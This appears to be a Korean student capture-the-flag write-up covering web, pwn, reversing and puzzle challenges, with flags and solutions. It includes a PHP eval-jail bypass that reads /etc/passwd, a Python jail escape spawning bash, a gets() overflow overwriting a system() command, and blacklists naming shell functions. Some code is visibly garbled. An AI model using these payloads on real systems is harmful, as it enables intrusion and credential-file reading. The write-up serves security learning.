관심법 (STEALTH) 100

Hmm... There is a 'FLAG' in this page...

Hint: Press the 'F12'

愿��Щ쾿

• FLAG{I_WANT_GO_H0ME}

Show me your ability (TRUST) 200

```
<?php

include(_DIR_."/lib.php");
$check = substr($_SERVER['QUERY_STRING'], 0, 32);
if (preg_match("/flag/i", $check))
{
    echo "No Hack!!";
}
if ($_GET['flag'] === "Give me flag")
{
    echo "Alright. I'll give you my flag,, <br>;
    echo $flag;
}
show_source(__FILE__);
}
```

http://dimitrust.oa.to:8080/trustctf/substr/?flag=Give%20me%20flag

• TRUST{you_are_the_greatest_hacker_in_the_w orld}

HTTP Header (TRUST) 200

```
Plz input your url
<?php
include __DIR__."/lib.php";
if (isset($_GET['url'][10]))
{
    header("location: {$_GET['url']}");
    echo "This is my present! Here is flag! {$flag} <br/>br>";
}
else
{
    echo "Plz input your url <br>}
show_source(__FILE__);
}
```

requests.get("http://dimitrust.oa.to:8080/trustctf/http_header/?url=1",allow_redirects=False).text

• TRUST{oh_can_you_bypass_it?}

Lucky Number (TRUST) 200

```
Try more!
```

```
<?php
include(_DIR__."/lib.php");
// Lucky number is in 0 ~ 9999
if ($_GET['number'] == $lucky_number)
{
    echo $flag;
}
else
{
    echo "Try more! <br>};
}
show_source(__FILE__);
?>
```

http://dimitrust.oa.to:8080/trustctf/lucky_number/?number=1337

• TRUST{you_are_good_at_programming}

PHP Jail (TRUST) 200

```
c?php
include __DIR__ . "/lib.php";

$filters = "system|assert|passthru|shell|exec|eval|read|open|dir|\.|_|curl|info";
if (isset($_GET['code']))
{
    if (preg_match("/{$filters}/i", $_GET['code']))
    {
        die("No hack ~_~");
    }
        eval($_GET['code']);
}
show_source(__FILE__);
}
```

http://dimitrust.oa.to:8080/trustctf/jail/?code=\$a=aystem;\$a[0]=s;\$a("cat%20/etc/passwd");

• FLAG(i think u r good at php)

RedVelvet (STEALTH) 200

• 페이지들어가면 redvelvet.js 있는데 거기에 플래그가 있다.

```
var flag = "FLAG{I_1ike_Red_Velvet~!!!!~!~!}"
function wendy() {
   alert("NOP");
}
function irene() {
```

```
alert(flag);
}
function seulgi() {
    alert("NOP");
}
function joy() {
    alert("NOP");
}
function yeri() {
    alert("NOP");
}
```

http://trustealth.ga/redvelvet.js

• FLAG{I_1ike_Red_Velvet~!!!!~!~!}

Do you know php trick? (TRUST) 300

```
    include(_DIR__."/lib.php");
    extract($_GET);

if ($_SESSION['var'] === $_COOKIE['var']) {
        echo "no hack";
    }

else if ( md5($_SESSION['var']) == md5($_COOKIE['var']) ) {
        echo $flag;
}

show_source(__FILE__);
}
```

- 직접 var라는 이름을 가진 쿠키를 만들어 아무값도 넣어주지 않았다.
- TRUST{you_are_php_trick_master}

Read Flag Revenge (TRUST) 500

```
define("_AUTHOR__", "ch4n3");
$blacklist = "assert|system|passthru|exec|read|open|eval|`|_|file|dir|\.\.|\.|\/\/|curl|ftp|glob|%|info|\[|\]|+";

if(count($_GET) > 0){
    if(preg_match("/$blacklist/i",$_SERVER["REQUEST_URI"])) die("No no no hackers!!");
    list($key, $val) = each($_GET);
    $key($val);
}

highlight_file(__FILE__);
# read /flagflag/flag !
```

http://poprdi.oa.to:9999/?show+source=/hackingcamp17/flag : 해캠용

http://poprdi.oa.to:9999/?show +source=/flagflag/flag : dimi용

• FLAG{flag is a flag and flag is also flag}

Pwn

Can you Connect It ... ? (TRUST) 100

```
주소 : 198.13.62.9
포트 : 5463
접속할수 있겠습니까...?
플래그 형식은 TRUST{~~~} 입니다.
```

• nc(NetCat) 을 이용하여 접속하면 플래그가 뜬다.

Overflow It! (TRUST) 100

nc 198.13.62.9 1234 gets() 함수의 취약점을 이용해서 플래그를 읽어보세요!

```
#include <stdio.h>
#include <stdib.h>
#include <unistd.h>

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    char name[40] = {0,};
    char command[40] = "echo 'Hello World'";

    printf("what is your name ? ");
    gets(name);
    printf("Hi! %s! I'll execute a command for you! \n\n", name);

    puts("=========="");
    system(command);
    puts("=========="");
    printf("[ %s ] executed! Bye!\n", command);
    return 0;
}
```

- dummy 40bytes + command

Python shell (TRUST) 100

Are you good at Python Programming?
Then, can you get the shell from Python Shell?
nc 198.13.62.9 9989
googling tip) python jail break

```
sys.modules['os'].system("bash")
```

• 쉘따고 플래그 읽으면 된다.

RPG Game 100 | author : Junha

```
Let's play rpg game!
주소 : 198.13.62.9
포트 : 5467
hint : 파워가 쎄면 bof 가 일어난다
```

9host1st 님의 해설

```
라이브러리주는 것을 보고 ROP라 짚었다.
power가 800이상이면 read함수를 통해 입력을 받는데 이 때 bof를 일으켜서 ROP돌리면 풀린다.
```

Online C Compiler (TRUST) 200

```
http://108.61.161.168:5467/
Can you get Flag...?
HINT : Google 에다가 C 폴더 내용 읽기, C 파일 읽기 같은거 검색해보세영
```

- Filter: sys, exec, remove, for, goto, while
- ASLR: ON
- Arch: i386-32-little
- RELRO: Partial RELRO

- Stack: No canary found
- NX: NX enabled
- PIE: No PIE (0x8048000)
- 반복문 필터링해놔서 귀찮았다.

```
/// 1st payload
#include <stdio.h>
#include <unistd.h>
#include <dirent.h>
int main()
{
  DIR *dir_info;
struct dirent *dir_entry;
  DIR
  dir_info = opendir(".");
   if ( NULL != dir_info)
     if(dir_entry=readdir(dir_info)){
       printf( "%s\n", dir_entry->d_name);
      else{
       closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
       printf( "%s\n", dir_entry->d_name);
      else{
       closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
        printf( "%s\n", dir_entry->d_name);
      else{
        closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
       printf( "%s\n", dir_entry->d_name);
       closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
       printf( "%s\n", dir_entry->d_name);
      else{
       closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
        printf( "%s\n", dir_entry->d_name);
      else{
        closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
  printf( "%s\n", dir_entry->d_name);
        closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
       printf( "%s\n", dir_entry->d_name);
      else{
       closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
        printf( "%s\n", dir_entry->d_name);
      else{
        closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
  printf( "%s\n", dir_entry->d_name);
       closedir(dir_info);
      if(dir_entry=readdir(dir_info)){
       printf( "%s\n", dir_entry->d_name);
```

```
else{
    closedir(dir_info);
}

if(dir_entry=readdir(dir_info)){
    printf( "%s\n", dir_entry->d_name);
}

else{
    closedir(dir_info);
}

if(dir_entry=readdir(dir_info)){
    printf( "%s\n", dir_entry->d_name);
}

else{
    closedir(dir_info);
}

if(dir_entry=readdir(dir_info)){
    printf( "%s\n", dir_entry->d_name);
}

if(dir_entry=readdir(dir_info)){
    printf( "%s\n", dir_entry->d_name);
}

else{
    closedir(dir_info);
}

else{
    closedir(dir_info);
}

return 0;
}
```

css test submit.php font test.c . . . chm.c exploit .gdb_history chm Th1s_1s_F1a9.php index.html js

```
// 2nd payload
#include <stdio.h>
#include <fcntl.h>
#include <fcntl.h>
#include <fcntl.h>
#include <unistd.h>
#define BUFF_SIZE 1024
int main()
{
    char buff[BUFF_SIZE];
    int fd;

    if ( 0 < ( fd = open( "./Th1s_1s_F1a9.php", O_RDONLY))))
    {
        read( fd, buff, BUFF_SIZE);
        puts( buff);
        close( fd);
    }
    else
    {
        printf( "fail.\n");
    }
    return 0;
}</pre>
```

• TRUST{y0u_c4n_c0ding_w ith_C_0n_1inux!}

Rev

What is reversing? (TRUST) 100

```
whatisrev.exe
 Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
 00001D50
        00001D70
        00001D80
        00001D90
        00001DA0
 00001DB0
        00001DC0
        00001DD0
            00 00 00 00 00 00 00 00 00 00 00 00 00
 00001DE0
        00 00
 00001DF0
        00001E00
        54 52 55 53 54 7B 79 6F 75 5F 61 72 65 5F 67 6F 6F 64 5F 61 74 5F 72 65 76 65 72 73 69 6E 67 7D
                                            TRUST { you are go
                                            od at reversing } . what is reversi
 00001E10
 00001E20
        00 77
            68 61 74 20 69 73 20 72 65 76 65 72 73 69
 00001E30
        6E 67
            3F 20 00 63 61 6E 20 79 6F
                                75 20 73 65 65
                                            ng? .can you see
 00001E40
        20 74 68 65 20 66 6C 61 67 3F 20 00 90 15 40 00
                                             the flag? ...@.
                                            Unknown error...
 00001F50
        55 6E 6B 6E 6F 77 6E 20 65 72 72 6F 72 00 00 00
        5F 6D 61 74 68 65 72 72 28 29 3A 20 25 73 20 69
 00001E60
                                             _matherr(): %s i
        6E 20 25 73 28 25 67 2C 20 25 67 29 20 20 28 72
                                            n %s(%g, %g) (r
 00001E70
            76 61 6C 3D 25 67 29 0A 00 00 41
 00001E80
                                            etval=%g)...Argu
 00001E90
        6D 65 6E 74 20 64 6F 6D 61 69 6E 20 65 72 72 6F
                                            ment domain erro
 00001EA0
        72 20 28 44 4F 4D 41 49 4E 29 00 41 72 67 75 6D
                                            r (DOMAIN).Argum
        65 6E 74 20 73 69 6E 67 75 6C 61 72 69 74 79 20
 00001EB0
                                            ent singularity
        28 53 49 47 4E 29 00 00 4F 76 65 72 66 6C 6F 77
                                            (SIGN) .. Overflow
 00001EC0
 00001ED0
        20 72 61 6E 67 65 20 65 72 72 6F 72 20 28 4F 56
                                             range error (OV
오프셋: 1E08
                                             덮어쓰기
```

- HxD로 보아도 보이고 디버거로 디버깅해도 보인다.
- TRUST{you_are_good_at_reversing}

What is Reversing? what?(TRUST) 200

리버싱은 뭘까여 마약입니다 .feat 한국다지털마다이고등학교 학생 한분

• 디버거로 디버깅하면

문자열 하나가 나온다.

• 저 문자열을 입력하면 플래그가 나온다.

Misc

Hello CTF! 100

• FLAG{Welcome_to_DIMIGO_and_STEALTH!!!!!}

여기 짱이 누구야?1 (STEALTH) 100

FLAG{이동준}

• stealth 동아리장을 찾아서 쓰면 된다.

계산의 달인 (STEALTH) 100

다음을 계산하여 10진수로 나타내시오. 0xdeadbeef ^ 0xdeadbeef 제출형식에 맞게 플래그를 제출해주세요! 제출형식 | FLAG{계산결과} ex) FLAG{1234}

- 같은 값을 XOR연산하게되면 0이 된다.
- FLAG{0}

여기 짱이 누구야?2 (STEALTH) 100

- TRUST 동아리장을 쓰면 된다.
- FLAG{윤석찬}

Amaze

엥 이게 뭐지?? (STEALTH) 200

• docx파일을 하나 주는데 파일안에 하얀색으로 플래그가 써져있다.

Do you know what this means? (STEALTH) 100

WUXVWHDOWK

• -3씩 밀어주면

TRUSTEALTH

FLAG{TRUSTEALTH}

RGVjcnlwdCB0aGlzlHdvcmQ= (STEALTH) 100

- 문제명을 base64로 디코딩하면 Decrypt this word이다.
- Q0hJQ0tFTg== -> CHICKEN
- FLAG{CHICKEN}

Net

dcinside(TRUST) 100

• 패킷파일 열어보면 검색기록에 플래그를 검색한 기록이 있다. [[net_flag_dc]()

Google

토렌트 (STEALTH) 100

'이것'은 토렌트에 적용된 기술 또는 통신망이다. 또한, 블록체인에 적용되기도 했다. 상호 연결된 노드(피어)들이 서로 간에 자원을 공유하는 것을 일컫는 '이것'은 무엇일까?? 제출형식에 맞게 제출해주세요. (영어는 모두 대문자로) 제출형식 | FLAG(이것) ex) FLAG(EXAMPLE)

• FLAG{P2P}